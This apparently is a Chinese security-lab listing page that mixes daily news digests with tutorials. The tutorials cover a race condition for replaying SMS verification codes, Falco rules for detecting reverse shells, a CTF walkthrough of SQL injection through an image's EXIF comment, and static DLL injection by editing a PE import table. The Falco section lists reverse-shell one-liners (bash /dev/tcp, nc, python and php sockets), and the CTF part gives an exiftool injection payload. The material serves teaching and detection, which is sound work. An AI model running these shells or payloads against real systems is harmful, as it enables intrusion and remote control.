网络安全日报 2022年02月15日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、香港海逸酒店遭网络攻击,120万客人数据遭泄露 https://www.scmp.com/news/hong-kong/law-and-crime/article/3166739/cyberattack-harbour-plaza-hotels-hong-kong-exposes 2、微软增强从内存中窃取 Windows 密码的难度 https://www.bleepingcomputer.com/news/microsoft/microsoft-is-making-it-harder-to-steal-windows-passwords-from-memory/ 3、报告称2021 年有超过 28,000 个漏洞被披露 https://www.securityweek.com/over-28000-vulnerabilities-disclosed-2021-report 4、FBI透露BlackByte勒索软件组织入侵美国关键基础设施 https://www.bleepingcomputer.com/news/security/fbi-blackbyte-ransomware-breached-us-critical-infrastructure/ 6、欧洲中央银行警告可能会发生与俄罗斯有关的网络攻击 https://securityaffairs.co/wordpress/128004/breaking-news/european-central-bank-warns-russia-cyberattacks.html 7、欧洲汽车经销商Emil Frey遭到勒索软件攻击 https://www.zdnet.com/article/europes-biggest-car-dealer-hit-with-ransomware-attack/ 8、Adobe修复了其Commerce和Magento开源产品的关键漏洞 https://thehackernews.com/2022/02/critical-magento-0-day-vulnerability.html 9、上海29岁程序员离职当天“删库跑路” 被判刑10个月 https://news.mydrivers.com/1/814/814048.htm 10、因发现以太坊关键漏洞, iOS 越狱之父Jay Freeman获 200 万美元奖金 https://www.ithome.com/0/602/761.htm
网络安全日报 2022年02月14日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、2021 年,组织机构向勒索软件团伙支付了至少 6.02 亿美元 https://securityaffairs.co/wordpress/127974/cyber-crime/ransomware-payments-600m-2021.html 2、 BlackByte 勒索软件攻击了旧金山四九人球队IT网络 https://securityaffairs.co/wordpress/127961/cyber-crime/blackbyte-ransomware-hit-san-francisco-49ers.html 3、克罗地亚电话运营商 A1 Hrvatska 披露数据泄露 https://securityaffairs.co/wordpress/127919/data-breach/a1-hrvatska-data-breach.html 4、Adobe 发布针对被利用零日漏洞的紧急补丁 https://www.securityweek.com/adobe-releases-emergency-patch-exploited-commerce-zero-day 5、Maze团伙声称不再使用勒索软件并且已销毁其所有源代码 https://threatpost.com/decryptor-keys-maze-egregor-sekhmet-ransomwares/178363/ 6、攻击者利用regsvr32.exe通过Microsoft Office文档传播恶意软件 https://securityaffairs.co/wordpress/127871/hacking/attackers-adopting-regsvr32-office-documents.html 7、Moxa MXview的网络管理系统被发现存在5个漏洞 https://threatpost.com/critical-mqtt-bugs-industrial-rce-moxa/178399/ 8、数字日程安排平台FlexBooker泄露了数百万客户的数据 https://www.zdnet.com/article/amazon-steps-in-to-close-exposed-flexbooker-bucket-after-december-data-breach/ 9、数以千计的npm帐户使用域名过期的电子邮件地址 https://therecord.media/thousands-of-npm-accounts-use-email-addresses-with-expired-domains/ 10、研究人员发现乔治亚州使用的投票机存在安全漏洞 https://www.securityweek.com/feds-oppose-immediate-release-voting-machine-report
记一次重放验证码的条件竞争
https://www.yijinglab.com/expc.do?ec=ECID39ee-9db2-47bc-9fa1-29150748681b看着网站挺好怼的,于是就看了看它的验证码这一块 0x01:先看看它的正常的响应包   重复发送,做了防护。  使用常见的手法进行绕过 1.换行 –失败  2.加空格或者 + 号  失败 body=contact%3D%2013888888888%20&type%3Dgetverifycode&cmd%3D-1&data=&yzm=&encrypt=false  body=contact%3D+13888888888%20&type%3Dgetverifycode&cmd%3D-1&data=&yzm=&encrypt=false ….   3.加分号, 加逗号  --失败 body=contact%3D13888888888;13888888888&type%3Dgetverifycode&cmd%3D-1&data=&yzm=&encrypt=false   差不多可以确定是电话后面加的是非空格字符的是不会发送,直接显示手机号错误,  4.加+86  或者86  5.在常见思路都失败的情况下,我想到可不可以用数据库的空白字符去干扰它….. 有那么多空白字符 试试呗…    然后当我把线程放到30的时候,重新再跑的时候,进一步确认了这样一个问题     问题就出来了。。。按照刚才的思路,不可能是有两个验证码会发送成功的,如果发送成功,一定就是它的业务出现了问题… 那么到底是哪里出了问题了呢??? 1.最开始的时候,思考的方向出现了问题,我首先想到的是会不会是高并发的一个问题。。然后去百度,寻找到这样一个线索  感谢这位师傅的文章  可以看到,高并发漏洞应该是两个不同的操作,从而导致的问题  2.然后又跑去问团队的大师傅。大师傅给了一个提示   说实话,有往条件竞争这一块去想。。但是想到的是条件竞争的话,感觉是在上传这一块, 所以,但长见识了!!!验证码也可以条件竞争… 找个时间想想,其他漏洞会不会存在这有条件竞争…  3.新的问题又出来的 怎么去验证这样一个问题是条件竞争… 坑定不能重复这个%00 相当于直接重放这个请求包即可     把线程开到50   成功验证了。。。。 主要为了验证这个问题存在即可,不一定要把线程开得很大,把别人网站搞崩完犊子了……   总结: 1. 原来验证码可以进行条件竞争!!! 2. 挖掘得每一个过程,都需要明白大致得流程,这样才能进步,我们要明白为什么,怎么操作。加油加油 3. 愿师傅们技术更上一层楼  之所以认为是条件竞争,是因为一个大师傅这样认为过…  最后,谢谢兔哥,十二神等等….和我团队里的各位大师傅… 真正谢谢了….
网络安全日报 2022年02月11日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、攻击者入侵了500多家基于 Magento 的电商平台 https://securityaffairs.co/wordpress/127874/cyber-crime/magento-based-e-stores-mass-compromise.html 2、PHP Everywhere 插件RCE漏洞影响数千个WordPress站点 https://securityaffairs.co/wordpress/127848/hacking/rce-php-everywhere-wordpress-plugin.html 3、苹果称 WebKit 0day漏洞被用来攻击 iOS、macOS 设备 https://www.securityweek.com/apple-says-webkit-zero-day-hitting-ios-macos-devices 4、FritzFrog P2P 僵尸网络攻击医疗保健、教育和政府部门 https://thehackernews.com/2022/02/fritzfrog-p2p-botnet-attacking.html 5、俄罗斯打击了4个被盗信用卡的暗网市场 https://thehackernews.com/2022/02/russia-cracks-down-on-4-dark-web.html 6、伊朗APT组织在Out to Sea间谍活动中使用新的Marlin后门 https://thehackernews.com/2022/02/iranian-hackers-using-new-marlin.html 7、美国查获2016年Bitfinex黑客事件中被盗的价值36亿美元的加密货币 https://securityaffairs.co/wordpress/127805/cyber-crime/bitfinex-stolen-funds-seizure.html 8、Mozilla公司修复了火狐浏览器中允许获得Windows管理员权限的bug https://www.bleepingcomputer.com/news/security/mozilla-fixes-firefox-bug-letting-you-get-windows-admin-privileges/ 9、NetWalker勒索软件成员被判80个月监禁 https://www.bleepingcomputer.com/news/security/netwalker-ransomware-affiliate-sentenced-to-80-months-in-prison/ 10、ExpressVPN提供10万美元给第一个入侵其服务器的人 https://www.bleepingcomputer.com/news/security/expressvpn-offering-100-000-to-first-person-who-hacks-its-servers/
利用Falco监控反弹Shell
前言 网络对抗愈加激烈,各种攻击手法层出不穷,在安全左移的同时,如何做到快速的应急响应,也是攻防中的一大重点。本文将以Falco为例,来达到反弹Shell的监控。 安装Falco 根据https://falco.org/docs/getting-started/installation/在centos迟迟没安装成功,提示找不到驱动,也罢,通过docker安装,并且为了快速安装,我给予了Falco容器特权,因此得注意Falco容器自身的安全性,不然就被逃逸了: docker pull falcosecurity/falco:latest 虽然宿主机Falco安装失败了,但是Falco相关的配置文件都有了,因此我把配置文件挂载到容器里,方便规则文件的更改: docker run --rm -i -t     --privileged     -v /var/run/docker.sock:/host/var/run/docker.sock     -v /dev:/host/dev     -v /proc:/host/proc:ro     -v /boot:/host/boot:ro     -v /lib/modules:/host/lib/modules:ro     -v /usr:/host/usr:ro     -v /etc:/host/etc:ro -v //etc/falco/:/etc/falco/     falcosec 可以正常运行:   反弹Shell分析 既然我们要监控反弹Shell的行为,我们就要分析对应的行为特征,我们使用我发表在TSRC的https://mp.weixin.qq.com/s/egsHOPK_S5vZujqIb3ygOQ文中的反弹Shell手段看看进程有啥特性或者共性: bash -i >& /dev/tcp/1.1.1.1/10000 0>&1    bash -c 'exec bash -i &>/dev/tcp/yourip/yourport <&1'    rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 114.67.110.37 10000 >/tmp/f    php -r '$sock=fsockopen("yourip",yourport);exec("/bin/sh -i <&3 >&3 2>&3");'    python -c 'import sys,socket,os,pty;s=socket.socket();s.connect(("yourip",yourport));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'    TF=$(mktemp -u); mkfifo $TF && telnet 127.0.0.1 1337 0<$TF | /bin/sh 1>$TF    根据上面的反弹Shell行为,发现有几个特性,或者说共性: fd有对外的socket连接,且fd.num不超过3 fd有pipe管道,且fd.num不超过4 fd.255是/dev/tty 根据综上所述,可以编写对应的规则。  编写监控规则 Falco的规则有三块内容: • Rules • Macros • Lists Rules主要是告警名称、告警介绍、告警条件、告警输出、风险等级和告警标签;Macros是自定义好的规则,可以在规则中被引用的“函数”;Lists是变量列表。 规则长下面这样:   Falco默认也自带了一些规则,比如我们docker exec进入容器的时候,会有告警提示:    根据上述反弹Shell分析,如果bash、zsh这些进程的fd出现socket连接,肯定有问题,而且常见的bash反弹都是用的重定向,那我们就可以编写对应的规则: - list: shell_binaries   items: [ash, bash, csh, ksh, sh, tcsh, zsh, dash] - rule: Shell Binary Reverse shell   desc: Bash、Zsh etc. have network connection,May be Reverse Shell   condition: evt.type=dup and proc.name in (shell_binaries) and container and fd.num in (0, 1, 2, 3) and fd.type in ("ipv4", "ipv6")   output: >     Reverse shell connection (user=%user.name %container.info process=%proc.name proc.pid=%proc.pid parent=%proc.pname cmdline=%proc.cmdline terminal=%proc.tty container_id=%container.id image=%container.image.repository fd.name=%fd.name fd.num=%fd.num fd.type=%fd.type fd.sip=%fd.sip fd.rip=%fd.rip)   priority: emergency   tags: [container, reverse_shell, mitre_execution]   append: false 上述规则代表如果存在重定向、进程是bash、zsh这些、在容器内、fd的num是0、1、2、3中的一个、fd类型是ipv4或者ipv6,可以看到成功的监控到反弹Shell行为:   但是这样很容易被绕过,主要执行的进程不是shell_binaries里的就行,就比如上面的telnet、python反弹Shell的方式。因此我们可以删掉上面提到的shell_binaries,不管是不是bash这些,只要fd 0 1 2 3有socket连接就行: - rule: Any Binary fd 0-3 Have Network Connection   desc: Any Binary fd 0-3 have network connection   condition: evt.type=connect and container and fd.num in (0, 1, 2, 3) and fd.type in ("ipv4", "ipv6")   output: >     Any Binary fd 0-3 Have Network Connection (user=%user.name %container.info process=%proc.name proc.pid=%proc.pid parent=%proc.pname cmdline=%proc.cmdline terminal=%proc.tty container_id=%container.id image=%container.image.repository fd.name=%fd.name fd.num=%fd.num fd.type=%fd.type fd.sip=%fd.si   priority: warning   tags: [container, fd03_network]   append: false   继续根据上面的反弹Shell分析,发现telnet这样的反弹Shell,会有管道pipe的产生,因此我们继续完善我们的告警,添加Pipe: - rule: Shell Binary Pipe   desc: Bash、Zsh etc. have Pipe,May be Reverse Shell   condition: evt.type=dup and proc.name in (shell_binaries) and container and fd.num in (0, 1, 2, 3) and fd.type="pipe"   output: >     Reverse shell connection(PIPE) (user=%user.name %container.info process=%proc.name parent=%proc.pname proc.pid=%proc.pid cmdline=%proc.cmdline terminal=%proc.tty container_id=%container.id image=%container.image.repository fd.name=%fd.name fd.num=%fd.num fd.type=%fd.type fd.sip=%fd.sip fd.rip=%f   priority: emergency   tags: [container, reverse_shell, pipe, mitre_execution]   append: false   fd.255是/dev/tty也可以加个: - rule: fd.255 = tty   desc: fd.255 = tty   condition: evt.type=connect and container and fd.num=255 and fd.name='/dev/tty'   output: >     fd.255 = tty (user=%user.name %container.info process=%proc.name parent=%proc.pname proc.pid=%proc.pid cmdline=%proc.cmdline terminal=%proc.tty container_id=%container.id image=%container.image.repository fd.name=%fd.name fd.num=%fd.num fd.type=%fd.type fd.sip=%fd.sip fd.rip=%fd.rip)   priority: warning   tags: [container, fd255_tty]   append: false  总结 本文利用Falco进行了反弹Shell的监控,虽然大多数的反弹行为都可以被监控到,但是可能存在各种各样的误报、漏报,安全任重道远。 实验推荐 实验:反弹shell的N种姿势(蚁景网安实验室) https://www.yijinglab.com/expc.do?ec=ECID5176-f1a3-433a-b3a2-a7ff4eab2d1d
网络安全日报 2022年02月10日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、CISA 警告要立即解决 SAP ICMAD 漏洞 https://securityaffairs.co/wordpress/127832/hacking/cisa-sap-icmad-flaw.html 2、Maze、Egregor 和 Sekhmet 勒索软件的主解密密钥在线泄露 https://securityaffairs.co/wordpress/127826/malware/egregor-sekhmet-decryption-keys.html 3、波兰成立网络安全军事单位 https://www.securityweek.com/poland-launches-cybersecurity-military-unit 4、西门子和施耐德电气修复了近 50 个 ICS 漏洞 https://www.securityweek.com/ics-patch-tuesday-siemens-schneider-electric-address-nearly-50-vulnerabilities 5、Nooie婴儿监视器中的安全漏洞允许攻击者访问摄像头 https://portswigger.net/daily-swig/zero-day-vulnerabilities-in-nooie-baby-monitors-could-allow-video-feed-hijack 6、BazarBackdoor 通过恶意 CSV 文件传播 https://cyware.com/news/bazarbackdoor-spreads-via-malicious-csv-files-41282197 7、Nobelium 黑客使用 COVID-19 诱饵来攻击欧洲外交人员 https://thehackernews.com/2022/02/russian-apt-hackers-used-covid-19-lures.html 8、Zerodium 花费巨额资金购买0day漏洞 https://cyware.com/news/zerodium-offers-huge-money-for-zero-day-exploits-2cfeab3e 9、盗版海盗湾网站针对数百万用户投放恶意软件和恶意广告 https://securityaffairs.co/wordpress/127810/cyber-crime/pirate-bay-clones-malware.html 10、多个恶意软件家族使用安装付费服务扩大其目标 https://thehackernews.com/2022/02/several-malware-families-using-pay-per.html
一张图片也能SQL注入
前言 最近在复盘SQL注入,看到有一个trick挺有意思的,这个trick主要利用后端程序会将文件exif信息插入数据库进行SQL注入 因此本篇文章会从题目解题,源码分析,底层调试这几个方面入手,如有纰漏,请多包涵。 什么是exif? 为了方便后面文章介绍这个trick,首先我们需要了解什么是exif? 其实exif是可交换图像文件的缩写,是专门为数码相机的照片设定的,可以记录数码照片的属性信息和拍摄数据。 例如生活中利用手机相机或者数码相机拍照的时候,exif会记录拍照时的一些属性,例如:光圈,焦距,拍照时间,拍照设备等等属性  题目解题 题目地址:https://ctf.show/challenges#你没见过的注入-321 首先打开题目,前面一些与本文无关的解题步骤就不赘述了,简要的概括一下就是:扫目录扫到robots.txt,进入修改密码页面,修改完成密码之后进入后台。 后台还是比较简单的,就是一个上传的页面   选择文件进行上传即可,并且进行测试后发现,上传的文件都没有被过滤,即使是上传同一个文件,文件名也是不一样的,因此猜测这里使用了随机数md5的方式进行文件命名   这一题文件名被随机数md5重命名,并且,所以文件名不是注入点,但是分析一下上方的列目录的文件,首先肯定是有数据库存储相关文件信息(上图中的filetype),因此查询一下PHP有哪些函数或者方法会有这样的功能,查询PHP官方手册后可以发现,其中finfo对象以及finfo_file函数是有这个功能的   因此就可以大胆猜测在filetype会存在SQL注入,并且SQL语句应该是insert开头的插入语句 那么如何控制这个filetype呢? 我们可以使用file命令查看一个文件的信息,如下图所示   这一个命令一出是不是就发现和上面那个页面的filetype十分相似了呢? 那么是否有工具可以控制这个filetype呢?有的,那就是exiftool 安装完成后,我们尝试在一个图片里加入SQL语句,这里我们假设题目的SQL语句如下(这个很需要经验,不过这里我就直接给出来了,做题的时候还是需要慢慢fuzz) insert into columns('字段1','字段2','字段3') value('值1','值2','值3') 因此注入语句 123"';select if(1,sleep(5),sleep(5));--+ 具体的exiftool的命令为 exiftool -overwrite_original -comment="123\"');select if(1,sleep(5),sleep(5));--+" avatar.jpg 利用exiftool添加comment之后,使用file命令查看文件信息   可以看到,命令已经成功注入到了comment中,上传该图片,就可以发现明显有延迟,所以命令注入成功。 之后拿flag就很简单了,利用into outfile写入一句话木马即可,这里就不赘述了。 那么,究竟是什么函数会导致这样的SQL注入呢? 抱着深究的心态把题目源代码拷贝下来进行分析(所有可以getshell的题目都可以把题目拿下来进行分析,可以学到更多的东西)  题目源代码分析 首先一些登录文件就不看了,直接看最重要的,会造成SQL注入的那几个文件(为了防止篇幅过长,我这里仅将关键代码进行展示) $filename = md5(md5(rand(1,10000))).".zip"; $filetype = (new finfo)->file($_FILES['file']['tmp_name']); $filepath = "upload/".$filename; $sql = "INSERT INTO file(filename,filepath,filetype) VALUES ('".$filename."','".$filepath."','".$filetype."');"; • 上方代码第一行就是前面说的,将随机数md5存储文件 • 第二行这里使用到了finfo::file,这里便是我们的注入点 • 第三行是目录的拼接 • 第四行就是存在SQL注入的SQL语句 if(mysqli_num_rows($result)>0){ while($row=mysqli_fetch_assoc($result)){ echo "<li>"; echo "filename:<a href='".$row["filepath"]."'>".$row["filename"]."</a> filetype:".$row["filetype"]."<br>"; } echo "</li>"; } 这一段代码就比较简单,就是将存储的文件名列出来 那么造成注入的罪魁祸首就是这一行代码: $filetype = (new finfo)->file($_FILES['file']['tmp_name']); 这里使用finfo::file方法,这个方法在PHP手册介绍如下,但是并不是很详细,后半部分将会对这一个函数进行底层代码跟踪分析。    finfo::file底层跟进 finfo::file方法在ext/fileinfo/fileinfo.c中 其中finfo中有这么几个方法: class finfo {     /** @alias finfo_open */     public function __construct(int $flags = FILEINFO_NONE, ?string $magic_database = null) {}     /**      * @param resource|null $context      * @return string|false      * @alias finfo_file      */     public function file(string $filename, int $flags = FILEINFO_NONE, $context = null) {}     /**      * @param resource|null $context      * @return string|false      * @alias finfo_buffer      */     public function buffer(string $string, int $flags = FILEINFO_NONE, $context = null) {}     /**      * @return bool      * @alias finfo_set_flags      */     public function set_flags(int $flags) {} } 我们跟进finfo::file 我们在下方图中位置下三个断点   将前面题目拉下来的源文件放在一个文件夹中进行调试 源文件如下: 将upload.php修改如下 $filename = md5(md5(rand(1,10000))).".zip"; $filetype = (new finfo)->file($_FILES['file']['tmp_name']); $filepath = "upload/".$filename; var_dump($filetype); die(0); 开启调试,上传注入文件后程序便会停止在断点处 第一个断点处,421行,这个断点处调用包装器打开资源并返回流对象   第二个断点处,431-432行,进入magic_stream,单步调试,监视ms以及ret_val 进入file_or_stream   直接看file_or_stream的return   跟进file_getbuffer,下方其实就可以看到ms->o.buf已经获取到了exif信息   后面的就不继续跟进了,但是可以肯定的是file()方法可以检测图片的EXIF信息,并且作为题目中的filetype传入数据库造成注入 $filetype = (new finfo)->file($_FILES['file']['tmp_name']);  总结 虽然是几年前的trick,但是每弄清楚一个trick,攻击面就会更广。  参考文章 • https://blog.gem-love.com/ctf/2283.html#你没见过的注入 • https://segmentfault.com/a/1190000015052042
网络安全日报 2022年02月09日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、沃达丰葡萄牙遭受大规模网络攻击 https://securityaffairs.co/wordpress/127799/cyber-crime/vodafone-portugal-massive-cyberattack.html 2、6K+ Puma 员工数据在 12 月的 Kronos Ransomware 攻击中被盗 https://securityaffairs.co/wordpress/127791/cyber-crime/puma-kronos-ransomware-attack.html 3、Roaming Mantis SMS网络钓鱼活动现在针对欧洲 https://securityaffairs.co/wordpress/127773/cyber-crime/roaming-mantis-targets-europe.html 4、微软发布 51 个 Windows 安全漏洞补丁 https://www.securityweek.com/microsoft-patches-51-windows-security-defects 5、Android 2022 年 2 月安全更新补丁 36 漏洞 https://www.securityweek.com/androids-february-2022-security-update-patches-36-vulnerabilities 6、Medusa银行木马针对多地区进行凭证窃取并进行金融欺诈 https://www.bleepingcomputer.com/news/security/medusa-malware-ramps-up-android-sms-phishing-attacks/ 7、FBI公布了LockBit 2.0勒索软件攻击的IOC https://www.securityweek.com/fbi-publishes-iocs-lockbit-20-ransomware-attacks 8、服务全球100强的公司Morley遭勒索攻击泄露大量用户信息 https://www.freebuf.com/news/321403.html 9、思科RV系列路由器被曝存在严重安全漏洞 https://thehackernews.com/2022/02/critical-flaws-discovered-in-cisco.html 10、教育行业成2021年网络攻击重灾区 https://netsecurity.51cto.com/article/700597.html
PE文件静态注入
http:// https://www.yijinglab.com/expc.do?ce=d5bc0c11-a182-474b-8ac1-251194174436 DLL注入 DLL注入指的是向运行中的其他进程强制插入特定的DLL文件。 可以通过修改静态的PE文件,修改输入表结构,使得程序执行时载入特定的DLL文件。 通常可执行文件需要使用其他DLL文件中的代码或数据,这些DLL文件相关的信息会保存在输入表中,因此我们通过修改PE文件中输入表相应的信息,即可实现PE文件在运行时自动载入特定的DLL文件。 使用PEview工具可以清晰的看到程序说输入表的信息   输入表 由于需要修改输入表信息,因此这里简单介绍一下输入表的结构。 在PE文件的可选头中存在这数据目录项, 里面记载了输出表、输入表等关键信息的偏移及大小。那么理所当然的PE文件在执行时也会通过数据目录项里的信息去找寻输入表。   输入表是由IMAGE_IMPORT_DESCRIPTOR结构的数组组成,简称IID,没有特定的成员指出IID项数,但是会由全为0的IID结构作为结束。 上图可以看出输入表的起始地址为0x1B1C4,这是RVA(相对偏移地址)地址,我们需要转化为文件的偏移地址才能够在文件中找到相应的内容。工具中提供了RVA与文件偏移地址的转换或者自行计算。   从上图可以看出IID结构确实是由全为0的IID结构作为结束。 输入表结构 IID结构的字段成员如下,其中OriginalFirstThunk、Name以及FirstThunk成员是我们添加DLL文件的关键。 IMAGE_IMPORT_DESCRIPTOR union characteristics DWORD OriginalFirstThunk DWORD //指向IMAGE_THUNK_DATA结构的数组 ends TimeDateStamp DWORD //时间标志 ForwarderChain DWORD //一般为0 Name DWORD //指向DLL名称的指针 FirstThunk DWORD//指向IMAGE_THUNK_DATA结构的数组 IMAGE_IMPORT_DESCRIPTOR 在PE文件尚未执行过时,OriginalFirstThunk与FirstThunk字段指向相同的结构,区别在于OriginalFirstThunk不可以重写,而FirstThunk可以被重写,当PE文件执行后FirstThunk指向的结构会用于存放输入函数的真实地址。因此我们修改时将OriginalFirstThunk与FirstThunk字段指向同个地址即可。而Name字段存放的是指向DLL文件名称的指针。 OriginalFirstThunkFirstThunkName指向IMAGE_THUNK_DATA结构的数组指向IMAGE_THUNK_DATA结构的数组指向DLL名称的指针 IMAGE_THUNK_DATA IMAGE_THUNK_DATA union u1 ForwarderString DWORD //指向一个转向者字符串的RVA Function DWORD //被输入的函数的内存地址 Oridinal DWORD //被输入的API的序数值 AddressOfData DWORD //指向IMAGE_IMPORT_BY_NAME IMAGE_THUNK_DATA IMAGE_THUNK_DATA结构在不同情况下的成员不同,但是重点关注AddresOfData字段,该字段指向IMAGE_IMPORT_BY_NAME结构,该结构记录的输入函数的名称。当IMAGE_THUNK_DATA值的双字的最高位为0时,表示函数以字符串类型的函数名方式输入。因此构造时高两个字节为0,低两个字节为IMAGE_IMPORT_BY_NAME结构地址即可。 IMAGE_IMPORT_BY_NAME IMAGE_IMPORT_BY_NAME STRUCT Hint WORD //忽略设置为0 Name BYTE //输入函数名称 IMAGE_IMPORT_BY_NAME IMAGE_IMPORT_BY_NAME结构的高两字节的值忽略,后门跟着的数据直接填入DLL文件中输出的函数名称,即PE文件运行时会使用到DLL文件中函数的名称。 修改PE文件 这里准备两个文件 • 文件一:HelloWorld.exe,该文件仅仅是简单在屏幕输出HelloWorld!!!的字符 • 文件二:待注入的DLL文件,show.dll,该DLL文件的功能可以根据实际情况而定,这里我准备的DLL文件可以简单的弹出一个对话框。 将HelloWorld.exe文件拖入PEview工具中,查看输入表内容。可以看到并没有载入show.dll文件。   运行HelloWorld.exe文件   开始修改HelloWorld.exe文件的思路 • 需要在输入表中添加额外的IID结构,该IID成员的信息为show.dll文件的信息 • 由于需要添加IID成员,需要观察原始输入表是否由额外的空间可以容纳新的IID结构,若没有则可以选择 – 文件中的空白区域 – 文件末尾添加新节区 现在观察HelloWorld.exe文件的输入表,可以看见在输入表的结尾处紧跟着的是一串数据,并且大概率不是无用的数据,若我们直接在输入表结尾处添加新的IID结构必定会破坏原文件的结构,导致程序无法正常运行。   因此选择在找空白处,因为PE文件需要对齐,因此会使用大量的空字符进行填充。空白区域可以任取,但是需要记住选取的地址因为后续需要用到。并且我们需要观察该空白区域是否会被载入到内存中去。我们这里选择的是idata段末尾位置,因此需要去查询idata段信息。   如下图所示,文件中idata段的大小比映射到内存中的大小更大,因此我们可以利用这段差值填充伪造输入表。这里选择文件偏移0x8960作为输入表的起始地址。不能将0x8950作为其实地址,这样KERNEL32.DLL字符串会缺失截断符,运行时会提示找不到该DLL文件。   首先将原输入表的数据复制下来,写入文件偏移0x8960处,新增一个IID结构,Name字段填入DLL文件的名字,即show.dll,而OriginalFirstThunk与FirstThunk字段填入填入IMAGE_IMPORT_BY_NAME结构体的地址,IMAGE_IMPORT_BY_NAME的内容填入输入函数的名称,并且高两个字节需要为0。这里所有填入的地址都为RVA地址,因此需要将文件地址转化为RVA地址填入。 接着需要改写idata的权限,前面说到FirstThunk在PE文件运行后是会被改写的,因此输入表所在的区段需要具有写权限。可以看到idata不具备写权限,因此需要将写权限加上。   0x80000000为写权限的标志位,因此将原来的数据或上0x80000000即可   修改后为0xC0000000    最后由于修改了输入表结构以及所在地址并且新增了一个IID结构因此需要去数据目录项的位置修改输入表的地址及大小。   使用PEView工具查看修改后的文件,能够发现修改后的文件使用工具依然能够识别出来,证明没有把文件修坏。   最后执行程序,发现show.dll文件成功注入  参考文章 • 加密与解密 • 逆向工程核心原理
网络安全日报 2022年02月08日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、Avast 发布了TargetCompany 勒索软件的免费解密器 https://securityaffairs.co/wordpress/127761/malware/targetcompany-ransomware-decryptor.html 2、微软禁用 ms-appinstaller 协议,因为它被滥用于传播恶意软件 https://securityaffairs.co/wordpress/127755/malware/microsoft-disables-ms-appinstaller.html 3、美国电信供应商申请$5.6B资金更换中国设备 https://securityaffairs.co/wordpress/127749/security/telecom-providers-replace-chinese-gear.html 4、美国国税局停止使用面部识别来识别纳税人 https://www.securityweek.com/irs-end-use-facial-recognition-identify-taxpayers 5、BlackCat勒索软件被证实与BlackMatter和DarkSide相关联 https://www.bleepingcomputer.com/news/security/blackcat-alphv-ransomware-linked-to-blackmatter-darkside-gangs/ 6、区块链基础设施公司Meter遭受网络攻击440万美元被盗 https://www.zdnet.com/article/4-4-million-stolen-in-attack-on-blockchain-infrastructure-meter/ 7、CISA命令联邦机构修补被积极利用的win32k本地提权漏洞 https://thehackernews.com/2022/02/cisa-orders-federal-agencies-to-patch.html 8、监控公司QuaDream利用iMessage零点击漏洞远程入侵iPhone https://securityaffairs.co/wordpress/127721/malware/surveillance-firm-quadream.html 9、华盛顿州许可证部门遭入侵可能导致个人信息泄露 https://www.securityweek.com/breach-washington-state-database-may-expose-personal-information 10、士Swissport空港服务公司遭勒索软件攻击导致航班延误 https://www.freebuf.com/news/321338.html
第2页 第3页 第4页 第5页 第6页 第7页 第8页 第9页 第10页 第11页 第12页 第13页 第14页 第15页 第16页 第17页 第18页 第19页 第20页 第21页 第22页 第23页 第24页 第25页 第26页 第27页 第28页 第29页 第30页 第31页 第32页 第33页 第34页 第35页 第36页 第37页 第38页 第39页 第40页 第41页 第42页 第43页 第44页 第45页 第46页 第47页 第48页 第49页 第50页 第51页 第52页 第53页 第54页 第55页 第56页 第57页 第58页 第59页 第60页 第61页 第62页 第63页 第64页 第65页 第66页 第67页 第68页 第69页 第70页 第71页 第72页 第73页 第74页 第75页 第76页 第77页 第78页 第79页 第80页 第81页 第82页 第83页 第84页 第85页 第86页 第87页 第88页 第89页 第90页 第91页 第92页 第93页 第94页 第95页 第96页 第97页 第98页 第99页 第100页 第101页 第102页 第103页 第104页 第105页 第106页 第107页 第108页 第109页 第110页 第111页 第112页 第113页 第114页 第115页 第116页 第117页 第118页 第119页 第120页 第121页 第122页 第123页 第124页 第125页 第126页 第127页 第128页 第129页 第130页 第131页 第132页 第133页 第134页 第135页 第136页 第137页 第138页 第139页 第140页 第141页 第142页 第143页 第144页 第145页 第146页 第147页 第148页 第149页 第150页 第151页 第152页 第153页 第154页 第155页 第156页 第157页 第158页 第159页 第160页 第161页 第162页 第163页 第164页 第165页 第166页 第167页 第168页 第169页 第170页 第171页 第172页 第173页 第174页 第175页 第176页 第177页 第178页 第179页 第180页 第181页 第182页 第183页 第184页 第185页 第186页 第187页 第188页 第189页 第190页 第191页 第192页 第193页 第194页 第195页 第196页 第197页 第198页 第199页 第200页 第201页 第202页 第203页 第204页 第205页 第206页 第207页